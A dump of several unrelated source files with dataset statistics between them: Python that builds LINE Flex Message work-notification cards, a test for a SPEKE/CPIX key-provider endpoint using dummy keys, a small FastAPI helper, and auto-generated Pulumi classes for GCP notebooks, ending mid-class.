"box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "รายละเอียดงาน :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": job_description, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "ช่างที่เข้าทำงาน :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": fls_startwork, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "เบอร์โทรช่าง :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": fls_phone, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "CBRE FM : ", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": fm, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "วันที่เข้าทำงาน :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": str(startwork), "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] } ] } } } return data if type == 'admin2' : for I in detail_checkin : # Title = (I['Title']) # print (I) workorder = I.workorder company= I.company opended = I.opended status = I.status startwork = I.startwork completedwork = I.completedwork caller = I.caller wah_status = I.wah_status timestramp = I.timestramp planned_date = I.planned_date job_description = I.job_description fls_mame = I.fls_mame_1 fls_startwork = I.fls_startwork fls_completedwork = I.fls_completedwork fls_phone = I.fls_phone management = I.management remark = I.remark type_job = I.type_job jla_ra = I.jla_ra any_ssw = I.any_ssw physical = I.physical fm = I.fm startwork=I.startwork # print (workorder) # print (company) # print (opended) # print (status) # print (startwork) # print (completedwork) # print (caller) # print (wah_status) # print (timestramp) # print (planned_date) # print (job_description) # print (fls_mame) # print (fls_phone) # print (management) # print (remark) # print (type_job) # print (jla_ra) # print (any_ssw) # print (physical) # print (fm) data = { "type": "flex", "altText": "Flex Message", "contents": { "type": "bubble", "hero": { "type": "image", "url": "https://seeoil-web.com/cbre/Picture/CBRE-Logo.jpg", "align": "center", "gravity": "bottom", "size": "full", "aspectRatio": "20:7", "aspectMode": "cover", "action": { "type": "uri", "label": "Line", "uri": "https://linecorp.com/" }, "position": "relative" }, "body": { "type": "box", "layout": "vertical", "contents": [ { "type": "text", "text": "CHECKOUT WAH NOTIFY", "weight": "bold", "size": "xl", "color": "#225508FF", "align": "center", "contents": [] }, { "type": "separator", "margin": "xs", "color": "#E42424FF" }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "Contractor :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": company, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "PlanedDate :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": str(planned_date), "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "WorkOrder :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": workorder, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "contents": [ { "type": "text", "text": "SiteName :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": caller, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "JobDescriptions :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": job_description, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "FlsName CheckIn :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": fls_startwork, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] },{ "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "FlsName CheckOut :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": fls_completedwork, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "MobilePhoneFLS :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": fls_phone, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "MangementName :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": management, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "TypeOfJob :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": type_job, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "JLA/RAReviewed :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": jla_ra, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "WorkerInvolved ? : ", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": any_ssw, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "Observation ? :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": physical, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "CBRE FM : ", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": fm, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "Remarks :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": remark, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "CheckIn Time", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": str(startwork), "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "CheckOut Time", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": str(completedwork), "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] } ] } } } return data print("OK") if type == 'admin' : for I in detail_checkin : # Title = (I['Title']) # print (I) workorder = I.workorder company= I.company opended = I.opended status = I.status startwork = I.startwork completedwork = I.completedwork caller = I.caller wah_status = I.wah_status timestramp = I.timestramp planned_date = I.planned_date job_description = I.job_description fls_mame = I.fls_mame_1 fls_startwork = I.fls_startwork fls_phone = I.fls_phone management = I.management remark = I.remark type_job = I.type_job jla_ra = I.jla_ra any_ssw = I.any_ssw physical = I.physical fm = I.fm startwork=I.startwork # print (workorder) # print (company) # print (opended) # print (status) # print (startwork) # print (completedwork) # print (caller) # print (wah_status) # print (timestramp) # print (planned_date) # print (job_description) # print (fls_mame) # print (fls_phone) # print (management) # print (remark) # print (type_job) # print (jla_ra) # print (any_ssw) # print (physical) # print (fm) data = { "type": "flex", "altText": "Flex Message", "contents": { "type": "bubble", "hero": { "type": "image", "url": "https://seeoil-web.com/cbre/Picture/CBRE-Logo.jpg", "align": "center", "gravity": "bottom", "size": "full", "aspectRatio": "20:7", "aspectMode": "cover", "action": { "type": "uri", "label": "Line", "uri": "https://linecorp.com/" }, "position": "relative" }, "body": { "type": "box", "layout": "vertical", "contents": [ { "type": "text", "text": "CHECK IN WAH NOTIFY", "weight": "bold", "size": "xl", "color": "#225508FF", "align": "center", "contents": [] }, { "type": "separator", "margin": "xs", "color": "#E42424FF" }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "Contractor :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": company, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "PlanedDate :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": str(planned_date), "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "WorkOrder :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": workorder, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "contents": [ { "type": "text", "text": "SiteName :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": caller, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "JobDescriptions :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": job_description, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "FlsName :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": fls_mame, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "MobilePhoneFLS :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": fls_phone, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "MangementName :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": management, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "TypeOfJob :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": type_job, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "JLA/RAReviewed :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": jla_ra, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "WorkerInvolved ? : ", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": any_ssw, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "Observation ? :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": physical, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "CBRE FM : ", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": fm, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "Remarks :", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": remark, "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] }, { "type": "box", "layout": "horizontal", "spacing": "none", "margin": "xs", "contents": [ { "type": "text", "text": "CheckIn Time", "weight": "bold", "size": "xs", "color": "#045221FF", "margin": "sm", "contents": [] }, { "type": "text", "text": str(startwork), "size": "xxs", "color": "#045221FF", "align": "start", "margin": "none", "wrap": True, "contents": [] } ] } ] } } } return data print("OK")

40.32746

92

0.21666

5,242

121,305

4.952499

0.039107

0.121105

0.081353

0.134818

0.95135

0.943454

0.939294

0.936559

0.934325

0.929163

0

0.026973

0.67543

121,305

3,008

93

40.32746

0.631413

0.019909

0

0.744523

0

0.157397

0

1

0.002474

false

0

0.000353

0

0.007067

0.015901

0

null

0

1

0

1

0

1

0

null

0

8

b46aa8e9e4eb998d9503b642f6bf1e79e4978c60

5,914

py

Python

tests/test_app.py

t-kigi/speke-chalice

b737d238dcccb6922c62a7a91ce6d4da208282bc

[ "Apache-2.0" ]

null

tests/test_app.py

t-kigi/speke-chalice

b737d238dcccb6922c62a7a91ce6d4da208282bc

[ "Apache-2.0" ]

null

tests/test_app.py

t-kigi/speke-chalice

b737d238dcccb6922c62a7a91ce6d4da208282bc

[ "Apache-2.0" ]

null

#!/usr/bin/python # -*- coding: utf-8 -*- from unittest.mock import MagicMock, patch import app as target def test_empty_request(): """ 入力なしで API が呼ばれた場合のテスト """ target.app.current_request = MagicMock(raw_body=b'') with patch('os.environ') as menv: menv.get.return_value = '81376844-f976-481e-a84e-cc25d39b0b33' res = target.copy_protection().to_dict() assert res['statusCode'] == 500 assert 'no element found' in res['body'].decode() INPUT_XML = b'<?xml version="1.0" encoding="UTF-8"?><cpix:CPIX id="5E99137A-BD6C-4ECC-A24D-A3EE04B4E011" xmlns:cpix="urn:dashif:org:cpix" xmlns:pskc="urn:ietf:params:xml:ns:keyprov:pskc" xmlns:speke="urn:aws:amazon:com:speke"><cpix:ContentKeyList><cpix:ContentKey kid="6c5f5206-7d98-4808-84d8-94f132c1e9fe"></cpix:ContentKey></cpix:ContentKeyList><cpix:DRMSystemList><cpix:DRMSystem kid="6c5f5206-7d98-4808-84d8-94f132c1e9fe" systemId="81376844-f976-481e-a84e-cc25d39b0b33"> <cpix:ContentProtectionData /> <speke:KeyFormat /> <speke:KeyFormatVersions /> <speke:ProtectionHeader /> <cpix:PSSH /> <cpix:URIExtXKey /></cpix:DRMSystem></cpix:DRMSystemList><cpix:ContentKeyPeriodList><cpix:ContentKeyPeriod id="keyPeriod_e64248f6-f307-4b99-aa67-b35a78253622" index="11425"/></cpix:ContentKeyPeriodList><cpix:ContentKeyUsageRuleList><cpix:ContentKeyUsageRule kid="6c5f5206-7d98-4808-84d8-94f132c1e9fe"><cpix:KeyPeriodFilter periodId="keyPeriod_e64248f6-f307-4b99-aa67-b35a78253622"/></cpix:ContentKeyUsageRule></cpix:ContentKeyUsageRuleList></cpix:CPIX>' # noqa EXPECTED_XML = b'<cpix:CPIX xmlns:cpix="urn:dashif:org:cpix" xmlns:pskc="urn:ietf:params:xml:ns:keyprov:pskc" xmlns:speke="urn:aws:amazon:com:speke" id="5E99137A-BD6C-4ECC-A24D-A3EE04B4E011"><cpix:ContentKeyList><cpix:ContentKey kid="6c5f5206-7d98-4808-84d8-94f132c1e9fe"><cpix:Data><pskc:Secret><pskc:PlainValue>MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA=</pskc:PlainValue></pskc:Secret></cpix:Data></cpix:ContentKey></cpix:ContentKeyList><cpix:DRMSystemList><cpix:DRMSystem kid="6c5f5206-7d98-4808-84d8-94f132c1e9fe" systemId="81376844-f976-481e-a84e-cc25d39b0b33"> <cpix:ContentProtectionData /> <speke:KeyFormat /> <speke:KeyFormatVersions /> <speke:ProtectionHeader /> <cpix:PSSH /> <cpix:URIExtXKey>aHR0cHM6Ly9leGFtcGxlLmNvbS9rZXlzLzAwMDAua2V5</cpix:URIExtXKey></cpix:DRMSystem></cpix:DRMSystemList><cpix:ContentKeyPeriodList><cpix:ContentKeyPeriod id="keyPeriod_e64248f6-f307-4b99-aa67-b35a78253622" index="11425" /></cpix:ContentKeyPeriodList><cpix:ContentKeyUsageRuleList><cpix:ContentKeyUsageRule kid="6c5f5206-7d98-4808-84d8-94f132c1e9fe"><cpix:KeyPeriodFilter periodId="keyPeriod_e64248f6-f307-4b99-aa67-b35a78253622" /></cpix:ContentKeyUsageRule></cpix:ContentKeyUsageRuleList></cpix:CPIX>' # noqa @patch('app.KeyCache') def test_sample_request(mock): """ 入力のサンプルを与えた場合のテスト """ # mocked key cache mock().get.return_value = b'00000000000000000000000000000000' mock().url.return_value = 'https://example.com/keys/0000.key' # get valid response raw_body = b'<?xml version="1.0" encoding="UTF-8"?><cpix:CPIX id="5E99137A-BD6C-4ECC-A24D-A3EE04B4E011" xmlns:cpix="urn:dashif:org:cpix" xmlns:pskc="urn:ietf:params:xml:ns:keyprov:pskc" xmlns:speke="urn:aws:amazon:com:speke"><cpix:ContentKeyList><cpix:ContentKey kid="6c5f5206-7d98-4808-84d8-94f132c1e9fe"></cpix:ContentKey></cpix:ContentKeyList><cpix:DRMSystemList><cpix:DRMSystem kid="6c5f5206-7d98-4808-84d8-94f132c1e9fe" systemId="81376844-f976-481e-a84e-cc25d39b0b33"> <cpix:ContentProtectionData /> <speke:KeyFormat /> <speke:KeyFormatVersions /> <speke:ProtectionHeader /> <cpix:PSSH /> <cpix:URIExtXKey /></cpix:DRMSystem></cpix:DRMSystemList><cpix:ContentKeyPeriodList><cpix:ContentKeyPeriod id="keyPeriod_e64248f6-f307-4b99-aa67-b35a78253622" index="11425"/></cpix:ContentKeyPeriodList><cpix:ContentKeyUsageRuleList><cpix:ContentKeyUsageRule kid="6c5f5206-7d98-4808-84d8-94f132c1e9fe"><cpix:KeyPeriodFilter periodId="keyPeriod_e64248f6-f307-4b99-aa67-b35a78253622"/></cpix:ContentKeyUsageRule></cpix:ContentKeyUsageRuleList></cpix:CPIX>' # noqa target.app.current_request = MagicMock(raw_body=raw_body) with patch('os.environ') as menv: menv.get.return_value = '81376844-f976-481e-a84e-cc25d39b0b33' res = target.copy_protection().to_dict() assert res['statusCode'] == 200 assert res['body'] == EXPECTED_XML @patch('app.KeyCache') def test_error1_request(mock): """ 入力のサンプルを与えた場合のテスト """ # mocked key cache mock().get.return_value = b'00000000000000000000000000000000' mock().url.return_value = 'https://example.com/keys/0000.key' # get valid response raw_body = b'<?xml version="1.0" encoding="UTF-8"?><cpix:CPIX id="5E99137A-BD6C-4ECC-A24D-A3EE04B4E011" xmlns:cpix="urn:dashif:org:cpix" xmlns:pskc="urn:ietf:params:xml:ns:keyprov:pskc" xmlns:speke="urn:aws:amazon:com:speke"><cpix:ContentKeyList><cpix:ContentKey kid="6c5f5206-7d98-4808-84d8-94f132c1e9fe"></cpix:ContentKey></cpix:ContentKeyList><cpix:DRMSystemList><cpix:DRMSystem kid="6c5f5206-7d98-4808-84d8-94f132c1e9fe" systemId="ERROR"> <cpix:ContentProtectionData /> <speke:KeyFormat /> <speke:KeyFormatVersions /> <speke:ProtectionHeader /> <cpix:PSSH /> <cpix:URIExtXKey /></cpix:DRMSystem></cpix:DRMSystemList><cpix:ContentKeyPeriodList><cpix:ContentKeyPeriod id="keyPeriod_e64248f6-f307-4b99-aa67-b35a78253622" index="11425"/></cpix:ContentKeyPeriodList><cpix:ContentKeyUsageRuleList><cpix:ContentKeyUsageRule kid="6c5f5206-7d98-4808-84d8-94f132c1e9fe"><cpix:KeyPeriodFilter periodId="keyPeriod_e64248f6-f307-4b99-aa67-b35a78253622"/></cpix:ContentKeyUsageRule></cpix:ContentKeyUsageRuleList></cpix:CPIX>' # noqa target.app.current_request = MagicMock(raw_body=raw_body) with patch('os.environ'): res = target.copy_protection().to_dict() assert res['statusCode'] == 500

111.584906

1,230

0.762428

701

5,914

6.376605

0.188302

0.02953

0.040268

0.051007

0.917673

0.907383

0.899776

0.891051

0

0.141023

0.077951

5,914

52

1,231

113.730769

0.678709

0.032296

0

0.548387

0

0.129032

0.814047

0.703248

0

0.16129

1

0.096774

false

0

0.064516

0

0.16129

0

null

0

1

0

1

0

1

null

0

10

b47f64aeb7d5b04e42ddf73ec0b6109f28d461df

192

py

Python

python/testData/inspections/PyArgumentListInspection/unicodeConstructor.py

teddywest32/intellij-community

e0268d7a1da1d318b441001448cdd3e8929b2f29

[ "Apache-2.0" ]

null

python/testData/inspections/PyArgumentListInspection/unicodeConstructor.py

teddywest32/intellij-community

e0268d7a1da1d318b441001448cdd3e8929b2f29

[ "Apache-2.0" ]

null

python/testData/inspections/PyArgumentListInspection/unicodeConstructor.py

teddywest32/intellij-community

e0268d7a1da1d318b441001448cdd3e8929b2f29

[ "Apache-2.0" ]

1

2020-11-27T10:36:50.000Z

print(unicode()) print(unicode('')) print(unicode('', 'utf-8')) print(unicode('', 'utf-8', 'ignore')) print(unicode('', 'utf-8', 'ignore', <warning descr="Unexpected argument">foo</warning>))

32

89

0.645833

24

192

5.166667

0.416667

0.483871

0.362903

0.387097

0.354839

0

0.01676

0.067708

192

5

90

38.4

0.675978

0

0.239583

0

null

0

null

1

0

null

1

0

1

0

null

0

1

0

1

0

7

c32c16e756be6b98c726b9e6b7d262fc4db468e4

144

py

Python

app/utils.py

dormantman/simple-insurance

fe54aa75fcecebc222d3e8ce734ff8aed737d6fe

[ "MIT" ]

null

app/utils.py

dormantman/simple-insurance

fe54aa75fcecebc222d3e8ce734ff8aed737d6fe

[ "MIT" ]

null

app/utils.py

dormantman/simple-insurance

fe54aa75fcecebc222d3e8ce734ff8aed737d6fe

[ "MIT" ]

null

from tortoise.contrib.fastapi import HTTPNotFoundError def template_for_404(): return dict(responses={404: {"model": HTTPNotFoundError}})

24

62

0.777778

16

144

6.875

0.875

0

0.046875

0.111111

144

5

63

28.8

0.8125

0

0.034722

0

1

0.333333

true

0

0.333333

1

0

1

0

null

0

1

0

null

0

1

0

1

0

7

c3545dfd1f74a393edbd959a402e4ccedcc6cb6a

171

py

Python

src/microspeclib/datatypes/__init__.py

microspectrometer/microspec

c5013e80106789619ad19b3bd91e3e0edb115e42

[ "MIT" ]

null

src/microspeclib/datatypes/__init__.py

microspectrometer/microspec

c5013e80106789619ad19b3bd91e3e0edb115e42

[ "MIT" ]

null

src/microspeclib/datatypes/__init__.py

microspectrometer/microspec

c5013e80106789619ad19b3bd91e3e0edb115e42

[ "MIT" ]

null

19

40

0.725146

23

171

5.391304

0.608696

0.241935

0

0.029412

0.204678

171

8

41

21.375

0.882353

0.421053

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

c361bcb6ecaa0b83fe4ad9000bd372384158619b

8,885

py

Python

sdk/python/pulumi_gcp/notebooks/_inputs.py

dimpu47/pulumi-gcp

38355de300a5768e11c49d344a8165ba0735deed

[ "ECL-2.0", "Apache-2.0" ]

null

sdk/python/pulumi_gcp/notebooks/_inputs.py

dimpu47/pulumi-gcp

38355de300a5768e11c49d344a8165ba0735deed

[ "ECL-2.0", "Apache-2.0" ]

null

sdk/python/pulumi_gcp/notebooks/_inputs.py

dimpu47/pulumi-gcp

38355de300a5768e11c49d344a8165ba0735deed

[ "ECL-2.0", "Apache-2.0" ]

null

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Dict, List, Mapping, Optional, Tuple, Union from .. import _utilities, _tables __all__ = [ 'EnvironmentContainerImageArgs', 'EnvironmentVmImageArgs', 'InstanceAcceleratorConfigArgs', 'InstanceContainerImageArgs', 'InstanceVmImageArgs', ] @pulumi.input_type class EnvironmentContainerImageArgs: def __init__(__self__, *, repository: pulumi.Input[str], tag: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] repository: The path to the container image repository. For example: gcr.io/{project_id}/{imageName} :param pulumi.Input[str] tag: The tag of the container image. If not specified, this defaults to the latest tag. """ pulumi.set(__self__, "repository", repository) if tag is not None: pulumi.set(__self__, "tag", tag) @property @pulumi.getter def repository(self) -> pulumi.Input[str]: """ The path to the container image repository. For example: gcr.io/{project_id}/{imageName} """ return pulumi.get(self, "repository") @repository.setter def repository(self, value: pulumi.Input[str]): pulumi.set(self, "repository", value) @property @pulumi.getter def tag(self) -> Optional[pulumi.Input[str]]: """ The tag of the container image. If not specified, this defaults to the latest tag. """ return pulumi.get(self, "tag") @tag.setter def tag(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "tag", value) @pulumi.input_type class EnvironmentVmImageArgs: def __init__(__self__, *, project: pulumi.Input[str], image_family: Optional[pulumi.Input[str]] = None, image_name: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] project: The name of the Google Cloud project that this VM image belongs to. Format: projects/{project_id} :param pulumi.Input[str] image_family: Use this VM image family to find the image; the newest image in this family will be used. :param pulumi.Input[str] image_name: Use VM image name to find the image. """ pulumi.set(__self__, "project", project) if image_family is not None: pulumi.set(__self__, "image_family", image_family) if image_name is not None: pulumi.set(__self__, "image_name", image_name) @property @pulumi.getter def project(self) -> pulumi.Input[str]: """ The name of the Google Cloud project that this VM image belongs to. Format: projects/{project_id} """ return pulumi.get(self, "project") @project.setter def project(self, value: pulumi.Input[str]): pulumi.set(self, "project", value) @property @pulumi.getter(name="imageFamily") def image_family(self) -> Optional[pulumi.Input[str]]: """ Use this VM image family to find the image; the newest image in this family will be used. """ return pulumi.get(self, "image_family") @image_family.setter def image_family(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "image_family", value) @property @pulumi.getter(name="imageName") def image_name(self) -> Optional[pulumi.Input[str]]: """ Use VM image name to find the image. """ return pulumi.get(self, "image_name") @image_name.setter def image_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "image_name", value) @pulumi.input_type class InstanceAcceleratorConfigArgs: def __init__(__self__, *, core_count: pulumi.Input[float], type: pulumi.Input[str]): """ :param pulumi.Input[float] core_count: Count of cores of this accelerator. :param pulumi.Input[str] type: Type of this accelerator. Possible values are `ACCELERATOR_TYPE_UNSPECIFIED`, `NVIDIA_TESLA_K80`, `NVIDIA_TESLA_P100`, `NVIDIA_TESLA_V100`, `NVIDIA_TESLA_P4`, `NVIDIA_TESLA_T4`, `NVIDIA_TESLA_T4_VWS`, `NVIDIA_TESLA_P100_VWS`, `NVIDIA_TESLA_P4_VWS`, `TPU_V2`, and `TPU_V3`. """ pulumi.set(__self__, "core_count", core_count) pulumi.set(__self__, "type", type) @property @pulumi.getter(name="coreCount") def core_count(self) -> pulumi.Input[float]: """ Count of cores of this accelerator. """ return pulumi.get(self, "core_count") @core_count.setter def core_count(self, value: pulumi.Input[float]): pulumi.set(self, "core_count", value) @property @pulumi.getter def type(self) -> pulumi.Input[str]: """ Type of this accelerator. Possible values are `ACCELERATOR_TYPE_UNSPECIFIED`, `NVIDIA_TESLA_K80`, `NVIDIA_TESLA_P100`, `NVIDIA_TESLA_V100`, `NVIDIA_TESLA_P4`, `NVIDIA_TESLA_T4`, `NVIDIA_TESLA_T4_VWS`, `NVIDIA_TESLA_P100_VWS`, `NVIDIA_TESLA_P4_VWS`, `TPU_V2`, and `TPU_V3`. """ return pulumi.get(self, "type") @type.setter def type(self, value: pulumi.Input[str]): pulumi.set(self, "type", value) @pulumi.input_type class InstanceContainerImageArgs: 